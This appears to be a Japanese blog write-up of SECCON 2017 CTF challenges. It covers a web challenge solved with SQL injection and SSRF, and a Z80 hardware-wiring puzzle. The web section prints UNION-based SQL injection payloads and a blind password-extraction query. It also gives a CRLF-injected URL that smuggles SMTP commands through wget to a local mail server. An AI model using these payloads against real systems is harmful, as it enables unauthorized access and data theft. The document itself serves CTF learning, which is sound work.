LoginSignup

This article is a Private article. Only a writer and users who know the URL can access it.
Please change open range to public in publish setting if you want to share this article with other users.

More than 5 years have passed since last update.

SECCON2017に出た(2/2)

Posted at

SECCON2017 Writeup

この記事はIS17erアドベントカレンダー10日目の記事として書かれたものです。
12/9 - 12/10の期間にSECCONという大会があったのでTSGのメンバーとして出場しました。それまでCTFは自分でちょっとだけやったことがあったので雰囲気は知っていましたが、大会に出場するの初めてでした。

カレンダーが全然埋まらないので前半と後半に分けました。前半の続きとなります。

Writeup

SqlSRF

同じチームのliesegang氏がすでにwriteupを書いていたので詳しく見たい人はそちらを参照してください。
Screen Shot 2017-12-10 at 23.26.54.png

いかにもSQLインジェクションとCSRFの融合問題っぽいですね。
ページを開くと次のようになっています。
Screen Shot 2017-12-10 at 23.27.57.png

とりあえず、index.cgiを開いてみます。
Screen Shot 2017-12-10 at 23.28.13.png

ログインしろいうことですね。とりあえず、cgiのコードが公開されているので読みます。

index.cgi_backup20171129
#!/usr/bin/perl

use CGI;
my $q = new CGI;

use CGI::Session;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M'); require './.htcrypt.pl';

my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
  [
    $q->cookie(-name=>'CGISESSID', -value=>$s->id),
    ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
  ]),
  $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');
  $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

重要部分のみを取り出しました。よく見ると

$q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M'
$user = &decrypt($q->cookie('remember'))

とあります。つまり、cookieはユーザ名を暗号化したものとして生成され、逆にユーザ名はcookieを復号化して得られます(リロード時にフォームのユーザ名部分が自動で入力されているのはこのためです)。
コードを読むとパスワードも同じアルゴリズムで暗号化されていることがわかります。つまり、暗号化されたパスワードを入手し、ユーザ名に相当するブラウザのcookieをそれに書き換えてリロードすれば、フォームに復号されたパスワードがユーザ名として表示されるはずです。

とりあえずadminのパスワードがほしくなったのでSQLインジェクションをします。

"SELECT password FROM users WHERE username='".$q->param('user')."';"

で暗号化されたパスワードをとってきて、入力したパスワードを暗号化したものと一致するかを調べています。

とりあえず、ログインを成功させるために、ユーザ名にappleといれ、Remember Meにチェックをいれ、生成されるcookieを調べます。そうすると132e8a875acb8357c33c12058d5f2ee3だとわかります。
上に述べた原理によりユーザ名を' UNION SELECT '132e8a875acb8357c33c12058d5f2ee3'; --にし、パスワードをappleにすることでログインが可能です。

しかし、今知りたいのはadminのパスワードであり、それを一文字ずつ比較していくことによって特定しました。アルゴリズムは以下のようになります。

ユーザ名に次のような文字列を入れることを想定します。

' union select '132e8a875acb8357c33c12058d5f2ee3' from users where username = 'admin' AND password='{}' limit 1 -- a".format(test)

testに入れる文字を1文字ずつ増やしていき、特定していきます。スクリプトはliesegang氏が書いたのでここでは省略します。上にリンクした彼の記事を見てください。

調べていくとパスワードは、d2f37e101c0e76bcc90b5634a5510f63fffffffffffff...より大きいということがわかるので、d2f37e101c0e76bcc90b5634a5510f64が暗号化されたパスワードであることがわかります。これをcookieにして、再読込するとユーザ名がYes!Kusomon!!となり、これがadminのパスワードであることがわかりました。

さて、adminでログインすると次のようなページになります。
Screen Shot 2017-12-11 at 0.31.33.png

wgetコマンドを走らせることができます。フォームの部分は、サーバー側でかなり厳しいチェックが走らされており、たとえば、うまく区切ってwgetコマンド以外のコマンドを走らせることなどはできませんでした。

wget --debugをすると、DEBUG output created by Wget 1.14 on linux-gnu.であることがわかるので、はじめ、wgetの脆弱性を疑いました。そうすると1.19以前のwgetに任意のコードを実行できる脆弱性があることはわかりましたが、難易度が高すぎるので、1時間ぐらい考えたあと別の方法を模索しました。

よくwgetの出力を読んでみると次のような箇所があることに気づきます。

URI encoding = 'ANSI_X3.4-1968'
Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)

この場合、index.htmlからindex.htmlに変換されていますが、明らかに怪しいです(そもそも、変換する必要ないし)。
なので、うまいことUTF-8文字列を入れると、いい感じのANSIに変換されるのではないかと考えました。

ググってみるとすごいそれらしいものがありました。
この前に、netstat -tnlの結果から、このサーバー上の25番ポートでstmpサーバー動いており、そこにメールを送ることでフラグが送られてくることがわかっていたので、このwgetコマンドに渡すURLにうまくstmpリクエストを埋め込むことを考えました。

このページをみると、stmpリクエストをurlencodeして送信している事例がありました。

127.0.0.1%0D%0AHELO%20sqlsrf.pwn.seccon.jp%0D%0AMAIL%20FROM%3A%3Csample%40example.com%3E%0D%0ARCPT%20TO%3A%3Croot%40ymzk01.pwn%3E%0D%0ADATA%0D%0ASubject%3A%20give%20me%20flag%0D%0A%0D%0A%0D%0A.%0D%0AQUIT%0D%0A:25

をフォームにいれ、wgetを実行します。sample@example.comは自分のアドレスに変えてください。

次のようなメールが届きます。

Encrypted-FLAG: 37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19

cookieを使う方法で同様に復号化するとSECCON{SSRFisMyFriend!}を獲得できます。

Z80

Screen Shot 2017-12-11 at 0.44.51.png

一つ目のファイルはArduinoのファイルです。二つ目のファイルを展開すると次のような大量のJPEGファイルが得られました。

はい、そうです。画像から配線を特定します。多分大会一のドカタ作業だったと思います。配布されるArduinoのファイル名がBuggyCpuBoardだったことから、おそらくファイル内に定義されている配線とボードの配線が一致していなく、バグが発生するのだと予想しました。

基盤の上をよく見ると、SECCONというシールが貼られていて型番が隠されていますが、問題のタイトルであるZ80から推測して絞り込むとTOSHIBAが出しているTMPZ84C00AM-6というZ80シリーズのCPUであることがわかりました。

配線の特定は、コードのよじれや、ピントがあっていないこと、さらには一部の配線は完全に隠れており消去法でしか決まらないことなどがあって困難を極めました。結果を知っているからこそ言えるのですが、全部の配線について調べる必要は実はなく、Arduinoの奇数ポートと偶数ポートに注目すれば一箇所だけ、単色のコードと二色のコードが入れ替わっているところがあるのでそこに気づけた人は作業が大幅に減ったと思います。

数時間かけて配線を特定しました。

Arduinoの配線部分と比較すると次のようなdiffが見つかりました。

-unsigned D0=22;
-unsigned D1=23;
+unsigned D0=23;
+unsigned D1=22;

-unsigned MREQ=52;
-unsigned IORQ=53;
+unsigned MREQ=53;
+unsigned IORQ=52;

一行目だったし、完全にファイル側から確かめていくべきでしたね・・・

Arduinoファイルを読むと、どうやらこのCPUはメモリを持っていないらしく、計算はCPU部分で行われるものの、メモリはArduinoの内部に保存されることがわかりました。Arduinoコードは、HALTになるまで繰り返し実行されるらしいので、終了時のメモリ状態がフラグになっているのではないかと予測しました。Z80シミュレータを適当に探してきて、Arduinoコードからアセンブリを生成します。

        LD      HL,0047h
        LD      A,53h           ; 'S'
        LD      (HL),A
        INC     HL
        LD      A,46h           ; 'F'
        LD      (HL),A
        INC     HL
        LD      A,43h           ; 'C'
        LD      (HL),A
        INC     HL
        LD      (HL),A
        INC     HL
        ADD     A,0Ch
        LD      (HL),A
        INC     HL
        ADD     A,0FEh
        LD      (HL),A
        INC     HL
        LD      A,7Bh           ; '{'
        LD      (HL),A
        INC     HL
L001D:  LD      A,(L0044)
        LD      B,A
        ADD     A,45h           ; 'E'
        LD      (L0044),A
        LD      A,B
        LD      (L0045),A
        CP      21h             ; '!'
        JP      M,L001D
        CP      7Bh             ; '{'
        JP      P,L001D
        LD      (HL),A
        INC     HL
        LD      A,(L0046)
        DEC     A
        LD      (L0046),A
        JP      NZ,L001D
        LD      A,7Eh           ; '~'
        LD      (HL),A
        HALT
L0044:  INC     BC
L0045:  DEC     BC
L0046:  LD      A,(BC)

これをHALT状態になるまで実行し続けます。終了時のメモリ状態は次のようになりました。

0000: 21 47 00 3E 53 77 23 3E 46 77 23 3E 43 77 23 77  | !G.>Sw#>Fw#>Cw#w
0010: 23 C6 0C 77 23 C6 FE 77 23 3E 7B 77 23 3A 44 00  | #..w#..w#>{w#:D.
0020: 47 C6 45 32 44 00 78 32 45 00 FE 21 FA 1D 00 FE  | G.E2D.x2E..!....
0030: 7B F2 1D 00 77 23 3A 46 00 3D 32 46 00 C2 1D 00  | {...w#:F.=2F....
0040: 3E 7E 77 76 8F 4A 00 53 46 43 43 4F 4D 7B 48 5C  | >~wv.J.SFCCOM{H\
0050: 2B 70 3F 53 22 67 36 4A 7E 00 00 00 00 00 00 00  | +p?S"g6J~.......
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................

SECCON{H\+p?S!g5I}を獲得しました(終盤の作業はhakatashiさんがやってくれたので何を使ったかはよく把握していなく、説明がけっこう雑です)。

おまけ

putchar music


@_homosky「どうせスターウォーズやろ」
SECCON{STAR_WARS}

0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up